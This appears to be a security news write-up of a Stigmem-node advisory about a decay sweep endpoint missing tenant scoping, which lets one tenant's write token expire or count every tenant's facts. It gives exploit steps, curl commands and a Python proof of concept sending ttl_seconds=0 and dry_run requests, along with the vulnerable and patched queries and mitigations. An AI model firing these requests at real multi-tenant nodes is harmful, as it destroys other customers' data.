Listen to this Post
How the Mentioned CVE Works
On a multi-tenant Stigmem node, the decay sweep mechanism—designed to periodically expire stale facts and prune low-confidence entries—lacked proper tenant isolation. The vulnerability resides in lifecycle/decay.py, where two candidate-selection functions, `_select_ttl_candidates` and _select_confidence_candidates, constructed SQL queries without a `tenant_id` predicate. Consequently, when an authenticated caller holding a write credential for a single tenant invoked the decay sweep via POST /v1/decay/sweep, the sweep operated across all tenants’ facts rather than being scoped to the caller’s tenant.
The root cause is twofold. First, the candidate-selector queries in `lifecycle/decay.py` omitted any `tenant_id` filter, allowing the database to return records from every tenant. Second, the caller’s tenant identity was not propagated into the sweep execution context—neither `run_decay_sweep` nor its async worker `_decay_job_worker` received the `tenant_id` from the request. This means a tenant-B user could trigger a sweep that deleted or reported on tenant-A’s data.
The impact is severe depending on the sweep parameters. A sweep with `ttl_seconds=0` expires all facts across all tenants, resulting in complete cross-tenant data destruction (integrity and availability loss). A `dry_run` sweep, while not destructive, returns a global candidate count—effectively acting as a cross-tenant existence/volume oracle, revealing how many facts exist across the entire node (information disclosure).
This vulnerability is only exploitable on deployments running the opt-in stigmem-plugin-multi-tenant, which enables multiple tenants on a single node. Default single-tenant deployments have only tenant="default"—there is no second tenant to cross, so they are unaffected. The severity is rated HIGH for multi-tenant deployments where the plugin is intended to enforce isolation. The fix in `0.9.0a12` (PR 728) threads `identity.tenant_id` into the sweep and worker, adds `AND tenant_id = ?` to candidate selectors and graph-sync, and extends CI guards to scan `lifecycle/` for regressions. No workarounds exist other than upgrading.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | Stigmem-node |
| Version | < 0.9.0a12 |
| Vulnerability | Cross-tenant data destruction |
| Severity | HIGH |
| Date | 2026-05-19 |
| Prediction | 2026-05-26 |
What Undercode Say
Analytics from the advisory:
- Attack Vector: Network (HTTP POST to
/v1/decay/sweep) - Prerequisites: Valid write credential for any single tenant; multi-tenant plugin enabled
- Exploitability: Low complexity — single authenticated request
- Confidentiality Impact: Low (dry_run reveals global fact counts)
- Integrity Impact: High (ttl_seconds=0 deletes all facts)
- Availability Impact: High (complete data loss across tenants)
- Scope: Changed (affects resources beyond the caller’s tenant)
Bash commands and codes related to the vulnerability:
Check if multi-tenant plugin is enabled
grep -r "stigmem-plugin-multi-tenant" /etc/stigmem/plugins.conf
Verify current version
pip show stigmem-node | grep Version
Exploit trigger (destructive - DO NOT RUN IN PRODUCTION)
curl -X POST http://stigmem-node:8080/v1/decay/sweep \
-H "Authorization: Bearer $TENANT_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ttl_seconds": 0}'
Dry-run oracle (information disclosure)
curl -X POST http://stigmem-node:8080/v1/decay/sweep \
-H "Authorization: Bearer $TENANT_B_TOKEN" \
-d '{"dry_run": true}'
Vulnerable code snippet (pre-patch):
lifecycle/decay.py - vulnerable def _select_ttl_candidates(conn, threshold_ts): MISSING: AND tenant_id = ? return conn.execute( "SELECT id, fact_key FROM facts WHERE valid_until < ?", (threshold_ts,) ).fetchall() def _select_confidence_candidates(conn, threshold): MISSING: AND tenant_id = ? return conn.execute( "SELECT id, fact_key FROM facts WHERE confidence < ?", (threshold,) ).fetchall()
Patched code (0.9.0a12):
lifecycle/decay.py - patched def _select_ttl_candidates(conn, tenant_id, threshold_ts): return conn.execute( "SELECT id, fact_key FROM facts WHERE tenant_id = ? AND valid_until < ?", (tenant_id, threshold_ts) ).fetchall() def _select_confidence_candidates(conn, tenant_id, threshold): return conn.execute( "SELECT id, fact_key FROM facts WHERE tenant_id = ? AND confidence < ?", (tenant_id, threshold) ).fetchall()
How Exploit
- Identify target — Confirm the node runs `stigmem-plugin-multi-tenant` and has at least two tenants.
- Obtain credentials — Acquire a valid write credential (API token or session) for any single tenant (e.g., Tenant-B).
- Craft request — Send a `POST /v1/decay/sweep` with `ttl_seconds=0` (destructive) or `dry_run=true` (information disclosure).
4. Observe outcome:
– `ttl_seconds=0` → all facts across all tenants are permanently deleted.
– `dry_run=true` → response returns global fact count, revealing volume of all tenants’ data.
5. Repeat — The vulnerability can be exploited repeatedly until patched.
Proof-of-concept (Python):
import requests
TARGET = "http://stigmem-node:8080"
TOKEN = "tenant_b_write_token"
Destructive sweep
resp = requests.post(
f"{TARGET}/v1/decay/sweep",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"ttl_seconds": 0}
)
print(resp.json()) All tenants' facts expired
Information disclosure (dry_run)
resp = requests.post(
f"{TARGET}/v1/decay/sweep",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"dry_run": True}
)
print(resp.json()) Global candidate count (cross-tenant)
Protection from this CVE
| Mitigation | Description |
||-|
| Upgrade | Upgrade to `stigmem-node >= 0.9.0a12` immediately. Run pip install --upgrade --pre stigmem-node. |
| Single-tenant only | If multi-tenancy is not required, do not enable stigmem-plugin-multi-tenant. Default single-tenant deployments are unaffected. |
| Network controls | Restrict access to `/v1/decay/sweep` endpoint to trusted administrative networks only. |
| Audit logs | Monitor for unexpected decay sweep invocations, especially with `ttl_seconds=0` or dry_run=true. |
| CI/CD guard | Ensure `check_fact_query_tenant_scope.py` runs in CI to catch missing `tenant_id` predicates in future code. |
| Backup | Maintain regular backups of fact data to recover from potential cross-tenant deletion. |
Impact
- Cross-tenant data destruction — A sweep with `ttl_seconds=0` expires all facts across every tenant on the node, causing irreversible data loss (integrity and availability).
- Cross-tenant information disclosure — A `dry_run` sweep returns the global candidate count, allowing a caller to infer the volume of facts stored by other tenants (confidentiality breach).
- Isolation breakdown — The multi-tenant plugin, designed to enforce tenant isolation, is completely bypassed in this code path.
- No workaround — Other than upgrading, there is no configuration change or operational mitigation that prevents this vulnerability on multi-tenant deployments.
- Affected environments — Only nodes with `stigmem-plugin-multi-tenant` enabled and at least two tenants are vulnerable. Default single-tenant nodes are not exploitable.
- Patch effectiveness — `0.9.0a12` threads `tenant_id` through the sweep and worker, adds `AND tenant_id = ?` to all candidate selectors and graph-sync, and extends CI regression guards to prevent recurrence.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

